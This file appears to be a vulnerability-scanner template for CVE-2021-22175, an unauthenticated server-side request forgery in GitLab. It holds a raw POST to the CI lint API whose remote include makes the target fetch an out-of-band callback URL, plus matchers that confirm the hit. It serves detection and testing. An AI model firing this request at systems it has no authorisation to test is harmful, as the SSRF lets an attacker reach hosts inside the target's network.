id: CVE-2021-22175

info:
  name: "GitLab Affecting All Versions Starting - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in
    GitLab affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even
    on a GitLab instance where registration is disabled
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-22175&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=gitlab&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-22175
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2021,gitlab,ssrf,oast,vkev,kev,vuln
http:
  - raw:
      - |
        POST /api/v4/ci/lint HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"include_merged_yaml":true,"content":"include:\n  remote: 'http://{{interactsh-url}}/gitlab.yml'"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Included file", "\"errors\":")'
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
        condition: and